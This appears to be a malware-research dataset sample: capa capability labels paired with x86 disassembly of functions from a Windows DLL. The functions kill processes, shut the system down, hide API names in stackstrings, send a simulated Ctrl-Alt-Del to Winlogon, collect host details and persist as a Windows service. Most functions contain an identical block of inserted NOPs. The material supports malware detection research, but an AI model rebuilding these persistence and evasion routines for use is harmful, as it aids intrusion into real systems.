joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012390
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp + 0xc]
xor esi, esi
test ebx, ebx
jbe 0x100123ea
mov eax, dword [ebp + 8]
mov ecx, dword [esi + eax]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x100123ba
mov edi, dword [ebp - 4]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.100121e0
mov ecx, edi
call fcn.10012210
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100126d0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x10002e94
call fcn.10014e20
mov eax, dword [ebp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0x10002e94
call fcn.10014e20
add esp, 4
pop ebp
ret

Function at 0x10012940
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov cl, 0x6c
mov al, 0x65
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], cl
mov cl, 0x74
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1c], al
mov byte [ebp - 0xe], al
mov byte [ebp - 0xb], al
mov byte [ebp - 8], al
mov byte [ebp - 0xc], cl
mov byte [ebp - 6], cl
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x20]
mov dl, 0x6e
push eax
push ecx
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 9], 0x76
mov byte [ebp - 7], dl
mov byte [ebp - 5], 0x41
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
push 0
mov dword [ebp - 0x30], edx
mov dl, byte [ebp + 0x20]
push 0
push 0
push 0
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x28], dl
call eax
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x1c]
lea edx, [ebp - 0x30]
push eax
mov eax, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
push edx
push 0x100128c0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [ebp - 0x24]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012a40
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10012ac8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
lea edi, [esi + 0x24]
push eax
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x10012aa3
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10012ac8
mov ecx, dword [ebp + 8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10012a9b
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10012aae
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x10012ad0
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10012b34
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push pe_nt_image_headers32
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10012f60
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [ebp - 0xb], al
mov byte [ebp - 9], al
lea eax, [ebp - 0xc]
mov cl, 0x6e
push eax
mov byte [ebp - 0xc], cl
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], cl
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x57
mov byte [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [ebp - 0xc]
push ecx
call fcn.10012ed0
add esp, 8
test eax, eax
jne 0x10012fb9
pop esi
mov esp, ebp
pop ebp
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x10012fdd
push esi
call fcn.10012e60
add esp, 4
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10004d8c
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push 0x10002b88
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x10001b44], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10013490
test al, al
je 0x10013391
mov al, byte [0x10001b40]
test al, al
jne 0x10013391
mov edx, dword [0x10001b44]
push 0x10002f24
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push bind
push 0x10001010
push 0x10002f1c
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push 0x10002f0c
call edi
mov edi, eax
push 0x10002ef4
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push 0x10002ee8
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10014010
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x1000362c
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 8]
lea edx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0xc]
push edx
push eax
push 0
push 0x10003624
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x10014100
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
nop
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001418c
lea eax, [ebp - 0x12c]
push ebx
push eax
push esi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1001417b
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [ebp - 0x108]
push ecx
push edi
call ebx
test eax, eax
je 0x10014174
lea edx, [ebp - 0x12c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10014144
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100143c0
Capabilities:
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x1b4]
xor ebx, ebx
push eax
mov byte [ebp - 0x1b8], 0x66
mov byte [ebp - 0xd6], bl
mov dword [ebp - 0x1b4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.100141a0
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x6c], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0xd0]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [ebp - 0x2b8], bl
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [ebp - 0x2b7]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x10]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push 0x10002b70
push reloc.WS2_32.dll_accept
mov dword [ebp - 8], pe_nt_image_headers32
stosb byte es:[edi], al
mov dword [ebp - 0x10], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 8]
lea ecx, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x14]
push ecx
push edx
push ebx
push 0x10001010
push eax
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100144ab
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100144bc
lea edx, [ebp - 8]
lea eax, [ebp - 0x2b8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0xc]
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
push edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [ebp - 0xc], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [ebp - 0x20]
mov ecx, 0xc
lea esi, [ebp - 0x2b8]
lea edi, [ebp - 0x108]
mov dword [ebp - 0x10c], edx
lea eax, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [ebp - 0x54]
mov word [ebp - 0x118], cx
call fcn.10014010
lea edx, [ebp - 0x44]
mov dword [ebp - 0x114], eax
push edx
mov dword [ebp - 0x44], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x3c]
shr eax, 0x14
inc eax
mov dword [ebp - 0x110], eax
call fcn.10014080
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 0x1b8]
mov dword [ebp - 0xd4], ecx
push 0x150
push edx
mov ecx, ebx
mov byte [ebp - 0xd6], al
call fcn.10007440
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10014a60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [ebp - 0x44]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10001a14]
xor edi, edi
push eax
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 0x10014a50
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10001a14]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [ebp - 0x2c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x28], eax
push ecx
mov dword [ebp - 0x24], 0x66
mov dword [ebp - 0x20], 0x10003744
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x10001a14]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push edi
push bind
push bind
push bind
push bind
push 0xcf0000
push 0x10003730
push 0x10003744
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 0xc]
push 0x104
mov edx, dword [esi]
push edx
push 0x10001ca4
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10001ca4
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10014a00
push 0x10001ca4
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x10001b5c], eax
call fcn.100149a0
push edi
push edi
push 4
call fcn.100149a0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10016090
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x10015950
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100032a0], eax
push edi
push edi
call fcn.10014730
add esp, 8
push 0x3e8
call esi
jmp 0x10014bb0

Function at 0x10014bd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp + 8]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10014c69
cmp byte [esi + ebx], 0x5c
jne 0x10014c58
push esi
lea eax, [ebp - 0x104]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea ecx, [ebp - 0x104]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10014c58
lea edx, [ebp - 0x104]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x10014c1d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10014c70
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10001b58], eax
jne 0x10014c90
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push 0x10003328
push 0x100032a8
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10001b54], eax
jne 0x10014cca
mov esp, ebp
pop ebp
ret
mov edx, dword [0x10001b58]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10001b54]
mov esi, eax
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x100033f0
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10014d20
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push 0x100032a8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0x15180
mov dword [ebp - 4], eax
mov eax, 1
mov dword [ebp - 0x28], 0x3e8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 8], 3
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [ebp - 0x14]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10014f70
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
push edi
mov ecx, 8
mov esi, 0x100037b8
lea edi, [ebp - 0x364]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
xor eax, eax
lea edi, [ebp - 0x341]
lea edx, [ebp - 0x364]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x100032a8
or ecx, 0xffffffff
xor eax, eax
push 0x104
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x170], al
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [ebp - 0x16f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x100037a8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x16d], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x170]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [ebp - 0x170]
lea edx, [ebp - 0x364]
push ecx
push edx
call fcn.10014e80
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x6b]
mov byte [ebp - 0x6c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [ebp - 0x6c]
push 0x1000379c
push eax
call ebx
lea ecx, [ebp - 0x170]
lea edx, [ebp - 0x6c]
push ecx
push edx
call fcn.10014ee0
add esp, 0x1c
lea eax, [ebp - 0x170]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0x237]
mov byte [ebp - 0x238], 0
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x6c]
lea edx, [ebp - 0x238]
stosw word es:[edi], ax
push ecx
push 0x1000378c
push edx
stosb byte es:[edi], al
call ebx
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
lea edx, [ebp - 0x238]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push reloc.WS2_32.dll_bind
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x1000351c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 4]
push 0x1000351c
push 2
push 0
push 0x10003780
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x170]
lea eax, [ebp - 0x6c]
push edx
push eax
call fcn.10014e80
lea ecx, [ebp - 0x170]
lea edx, [ebp - 0x364]
push ecx
push edx
call fcn.10014ee0
add esp, 0x10
lea eax, [ebp - 0x170]
push eax
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10015460
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 8
mov esi, 0x100037b8
lea edi, [ebp - 0x23c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [ebp - 0x219]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x100032a8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x23c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x23c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10003820
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [ebp - 4]
lea ecx, [ebp - 0x23c]
push eax
push 0xf003f
push 0
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001553b
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x110]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x110]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push eax
push ecx
push 0
push 0x10003780
push edx
mov dword [ebp - 8], 2
mov dword [ebp - 0xc], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x110]
push 0x1000351c
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret